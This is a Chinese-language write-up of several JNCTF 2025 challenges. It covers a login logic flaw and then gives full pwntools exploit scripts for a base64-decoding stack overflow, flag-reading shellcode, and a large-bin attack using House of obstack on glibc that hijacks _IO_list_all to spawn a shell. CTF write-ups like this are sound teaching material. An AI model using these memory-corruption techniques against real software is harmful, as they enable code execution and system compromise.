JNCTF 2025
Signin
探索版
先跑起来看看,功能不多:
register #注册
sign_in #登录
sign_out #登出
whoami #输出用户名
help #命令列表
quit #退出
题目给了 Rust 源码,直接读代码就行(读不懂的部分可以问 AI)。隐藏的命令还有:
unregister #注销
become_admin #成为管理员
get_flag #获得flag
直接 get_flag,提示 You are not signed in!——那就先注册再登录:
register asd 123 #用户名和密码随便给
sign_in asd 123 #登录刚才注册的用户
登录后 get_flag 变成 You are not an admin!;再试 become_admin,它要你确认是不是 root,回 y 得到 You are not root, you cannot do this!。
看起来用户名必须是 root,那就注册一个:
register root 123
回显 Name already exists!
先把它注销掉:
unregister root
成功了。再以 root 注册:
register root 123
再登录,然后走一遍 become_admin:
sign_in root 123
这次回显变成 You are now an admin!,再 get_flag 就到手了。
ezbase
程序开了 pie 保护
输入一段长度为 ()的 base64 密文,程序解码后输出明文和长度。
最多只读 0x40 字节,但解码缓冲区紧挨着输入缓冲区:输入写满 0x40 时,解码结果会被当成下一轮密文继续解,于是可以一路解码到溢出。溢出长度有限,不过题目给了后门函数,够用了。
做法是从溢出字节倒推 payload——需要解码三次才能覆盖到返回地址。
from pwn import *
import base64
context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
backdoor = p16(0x1181)
back = base64.b64encode(b'a'*4+backdoor)
info('back: ' + back.decode())
back = back.ljust(0x24,b'=')
# 等号补充是为了停止解码,防止过度溢出
back = base64.b64encode(back)
info('back: ' + back.decode())
back = base64.b64encode(back)
info('back: ' + back.decode())
io = process('./ezbase')
gdb.attach(io, 'b *$rebase(0x1474)')
io.recvuntil(b'Please input your secret:')
io.sendline(back)
io.interactive()
shellcode_master?
常规 shellcode 题,只是几乎清空了所有寄存器;open / read / write 之前还得先找个可写段。
发现 shellcode 的 mmap 地址和可写段之间偏移固定,可以据此算出可写段地址。
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'
io = process('./sc_master')
gdb.attach(io, 'b *$rebase(0x1569)')
# 0x39000就是一个固定偏移
shellcode = '''mov rsp, r15
sub rsp, 0x39000
add rsp, 0x300
push 0x67616c66
mov rdi, rsp
mov rsi, 0
mov rdx, 0
mov rax, 2
syscall
mov rdi, rax
mov rsi, rsp
mov rdx, 0x100
mov rax, 0
syscall
mov rbx, rsp
label:
mov rdi, 1
mov rsi, rbx
mov rdx, 0x1
mov rax, 1
syscall
add rbx, 1
cmp byte ptr [rbx], 0
jne label
'''
shellcode = asm(shellcode)
io.sendline(shellcode)
print(io.recvall())
io.interactive()
shellcode_master_revenge
按出题人的说法,上面的解法属于非预期,于是有了 revenge 版。
题目没大改,只是 mmap 的地址固定成 0x114514000。
可写段位置不再固定,只能爆破。
from pwn import *
# context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'
#0x7ffe30734000是本地某一次运行时的栈地址
shellcode = '''mov r12, 0x7ffe30734000
label1:
mov rdi, 0
mov rsi, r12
mov rdx, 0x1
mov rax, 0
syscall
sub r12, 0x1000
cmp rax, 0x1
jne label1
mov rsp,r12
push 0x67616c66
mov rdi, rsp
mov rsi, 0
mov rdx, 0
mov rax, 2
syscall
mov rdi, rax
mov rsi, rsp
mov rdx, 0x100
mov rax, 0
syscall
mov rbx, rsp
label2:
mov rdi, 1
mov rsi, rbx
mov rdx, 0x1
mov rax, 1
syscall
add rbx, 1
cmp byte ptr [rbx], 0
jne label2
'''
shellcode = asm(shellcode)
print(len(shellcode))
io = process('./sc_master_revenge')
gdb.attach(io, 'b *$rebase(0x155A)')
io.recvuntil(b'Give me your shellcode: ')
io.sendline(shellcode)
while not io.recv(timeout=0.02):
print(b'a')
io.sendline(b'1')
print(io.recvall())
io.interactive()
远程 io 很慢;其实还有优化空间,赛时没想到。
另外这是概率脚本:栈地址高于假设值时打不通。
hvm
VM PWN,需要手搓 opcode。
可能用到的 opcode:
code_map = {
'rd': b'\xd1',
'wt': b'\xd2',
'new': b'\xd3',
'free': b'\xd4',
'display': b'\xd5',
'xor': b'\xe3',
'inverse': b'\xe4',
'shl': b'\xe5',
'add': b'\xf1',
'sub': b'\xf2',
}
申请的 chunk 索引为 0-15,大小为 0x480-0x500
但读写没有长度检测:申请 0x480 的 chunk,却能访问到 0x500,这就是越界读写。
这题的环境是 glibc 2.25,可以用 House of obstack。
PS: opcode 是通过 read 函数读入的,有些字符无法读入
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'
libc = ELF('./libc.so.6')
io = process('./hvm')
# gdb.attach(io, 'b *$rebase(0x164b)')
libc_offset = 0x21b0f0
heap_offset = 0x480
IO_list_all = 0x21b680
IO_obstack_jump = 0x2173c0
system_offset = 0x50d70
binsh_offset = 0x1d8678
puts_offset = 0x80e50
ogg_offset = 0xebc81
payload = b'\xd3\x00\x80\x04'
payload += b'\xd3\x01\x80\x04'
payload += b'\xd3\x02\x90\x04'
payload += b'\xd4\x01'
payload += b'\xd3\x01\x90\x04'
'''
libc和heap的地址
'''
payload += b'\xd1\x00\x94\x04'
payload += b'\xd2\x00\x04\x00'
payload += b'\xd1\x00\x90\x04'
payload += b'\xf2'+p32(libc_offset)
payload += b'\xd2\x00\x00\x00'
payload += b'\xd1\x00\xa4\x04'
payload += b'\xd2\x00\x0c\x00'
payload += b'\xd1\x00\xa0\x04'
payload += b'\xf2'+p32(heap_offset)
payload += b'\xd2\x00\x08\x00'
# 准备chunk
payload += b'\xd3\x03\xa0\x04'
payload += b'\xd3\x04\x80\x04' #防合并
payload += b'\xd3\x05\x80\x04' #防合并
# 进行内容伪造
payload += b'\xd1\x00\x04\x00'
payload += b'\xd2\x02\x3c\x00'
payload += b'\xd1\x00\x00\x00'
payload += b'\xf1'+p32(binsh_offset)
payload += b'\xd2\x02\x38\x00'
payload += b'\xd1\x00\x04\x00'
payload += b'\xd2\x02\x2c\x00'
payload += b'\xd1\x00\x00\x00'
#以下就是绕过截断
payload += b'\xf1'+p32(system_offset-0x600)
payload += b'\xf1'+p32(0x600)
payload += b'\xd2\x02\x28\x00'
payload +=b'\xd1\x00\x04\x00'
payload +=b'\xd2\x02\xcc\x00'
payload +=b'\xd1\x00\x00\x00'
payload +=b'\xf1'+p32(IO_obstack_jump+0x20)
payload +=b'\xd2\x02\xc8\x00'
payload += b'\xd1\x00\x0c\x00'
payload += b'\xd2\x02\xd4\x00'
payload += b'\xd1\x00\x08\x00'
payload += b'\xf1'+p32(0x910)
payload += b'\xd2\x02\xd0\x00'
#large bins atk
payload += b'\xd4\x03'
payload += b'\xd3\x03\xb0\x04'
payload += b'\xd4\x02'
'''
edit
'''
payload += b'\xd1\x00\x04\x00'
payload += b'\xd2\x01\xbc\x04'
payload += b'\xd1\x00\x00\x00'
payload += b'\xf1'+p32(IO_list_all-0x20)
payload += b'\xd2\x01\xb8\x04'
payload += b'\xd3\x02\xc0\x04'
# 内容伪造的最后一部分
payload += b'\xd1\x00\x40\x00'
payload += b'\xf1'+p32(1)
payload += b'\xd2\x04\xd0\x04'
io.sendline(payload)
io.interactive()